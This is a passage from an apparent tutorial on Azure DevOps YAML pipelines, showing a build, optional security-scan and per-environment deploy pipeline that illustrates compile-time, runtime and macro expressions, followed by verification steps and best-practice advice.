style=\"color:#f92672\"\u003eslot\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod-arm-connection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eslot\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eproduction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuildConfiguration\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRelease\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnetVersion\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;8.0.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ── Stage 1: Build ──────────────────────────────────────────────────────────\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild Application\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eUseDotNet@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eversion: $(dotnetVersion)       # $( ) macro\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eresolved at task execution time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eUse .NET $(dotnetVersion)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDotNetCoreCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003earguments\u003c/span\u003e: --\u003cspan style=\"color:#ae81ff\"\u003econfiguration $(buildConfiguration) --no-restore\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDotNetCoreCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epublish\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003earguments\u003c/span\u003e: \u0026gt;\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                --configuration $(buildConfiguration)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                --output $(Build.ArtifactStagingDirectory)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePublish artifact\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# Set an output variable that downstream stages will consume\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              SHORT_SHA=$(git rev-parse --short HEAD)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              IMAGE_TAG=\u0026#34;${BUILD_BUILDID}-${SHORT_SHA}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Image tag: ${IMAGE_TAG}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]${IMAGE_TAG}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esetTag                     \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# step name is the key in the output reference path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCompute image tag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePublishBuildArtifacts@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003epathToPublish\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.ArtifactStagingDirectory)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eartifactName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edrop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePublish to pipeline\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ── Stage 2: Security Scan (compile-time conditional) ────────────────────────\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ${{ if }} — this entire stage is absent from the Expanded YAML when runSecurityScan is false\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.runSecurityScan, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurity Scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRun SAST and Dependency Scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMicrosoftSecurityDevOps@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMicrosoft Security DevOps\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ── Stages 3+: Deploy (generated via ${{ each }}) ─────────────────────────\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ${{ each }} — generates one stage per entry in deployEnvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.deployEnvironments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy to ${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# If security scan ran, depend on it; otherwise depend on Build\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.runSecurityScan, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#ae81ff\"\u003eSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ else }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy Application\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e# $[ ] runtime expression — reads Build stage output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eIMAGE_TAG\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.Build.BuildApp.outputs[\u0026#39;setTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003edownload\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecurrent\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003eartifact\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edrop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#75715e\"\u003e# $[ ] condition — only deploy prod from the main branch\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureRmWebAppDeployment@4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy to ${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u0026gt;\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      and(\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        succeeded(),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        or(\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          ne(\u0026#39;${{ env.name }}\u0026#39;, \u0026#39;prod\u0026#39;),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        )\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      )\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eConnectedServiceName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eWebAppName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eDeployToSlotOrASEFlag\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eResourceGroupName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-myapp-${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eSlotName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.slot }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003ePackage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Pipeline.Workspace)/drop/*.zip\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#75715e\"\u003e# $(IMAGE_TAG) — $( ) macro resolves at task execution time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eAdditionalArguments\u003c/span\u003e: -\u003cspan style=\"color:#ae81ff\"\u003eimageTag $(IMAGE_TAG)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eVerification steps:\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eRun the pipeline with \u003ccode\u003erunSecurityScan: false\u003c/code\u003e. Open \u003cstrong\u003eInitialize job\u003c/strong\u003e for the \u003ccode\u003eDeploy_dev\u003c/code\u003e job and inspect the Expanded YAML. The \u003ccode\u003eSecurityScan\u003c/code\u003e stage should be absent. The \u003ccode\u003eDeploy_dev\u003c/code\u003e and \u003ccode\u003eDeploy_prod\u003c/code\u003e stages should both be present.\u003c/li\u003e\n\u003cli\u003eRun the pipeline with \u003ccode\u003erunSecurityScan: true\u003c/code\u003e. The Expanded YAML should now include the \u003ccode\u003eSecurityScan\u003c/code\u003e stage, and the deploy stages should list both \u003ccode\u003eBuild\u003c/code\u003e and \u003ccode\u003eSecurityScan\u003c/code\u003e in their \u003ccode\u003edependsOn\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAfter the \u003ccode\u003eBuildApp\u003c/code\u003e job completes, expand the \u003ccode\u003esetTag\u003c/code\u003e step log and confirm the \u003ccode\u003eIMAGE_TAG\u003c/code\u003e value was written. In the \u003ccode\u003eDeployApp\u003c/code\u003e job, check the \u003cstrong\u003eInitialize job\u003c/strong\u003e log to confirm \u003ccode\u003eIMAGE_TAG\u003c/code\u003e was mapped from the stage dependency.\u003c/li\u003e\n\u003cli\u003eIn the \u003ccode\u003eDeploy_prod\u003c/code\u003e deployment, check the condition evaluation log to confirm the \u003ccode\u003ene('prod', 'prod')\u003c/code\u003e branch fires correctly — \u003ccode\u003eprod\u003c/code\u003e deployments are gated to the \u003ccode\u003emain\u003c/code\u003e branch.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices-and-optimization\"\u003eBest Practices and Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eUse typed parameters for all compile-time branching.\u003c/strong\u003e Declaring \u003ccode\u003etype: boolean\u003c/code\u003e or \u003ccode\u003etype: string\u003c/code\u003e with \u003ccode\u003evalues: [dev, staging, prod]\u003c/code\u003e makes misuse fail at parse time with a clear error message. An untyped \u003ccode\u003eobject\u003c/code\u003e parameter accepts anything, including malformed input that produces a runtime failure hours later.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrefer \u003ccode\u003econdition:\u003c/code\u003e over \u003ccode\u003e${{ if }}\u003c/code\u003e when the decision can be deferred to runtime.\u003c/strong\u003e Compile-time conditionals remove structure from the plan; runtime conditions preserve it. A job that was removed by \u003ccode\u003e${{ if }}\u003c/code\u003e produces no audit trail in the run history. A job that was skipped by \u003ccode\u003econdition:\u003c/code\u003e appears in the run graph as skipped, which is visible to everyone reviewing the pipeline history.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eName output variables explicitly and namespace them.\u003c/strong\u003e \u003ccode\u003eimageTag\u003c/code\u003e is ambiguous across jobs. 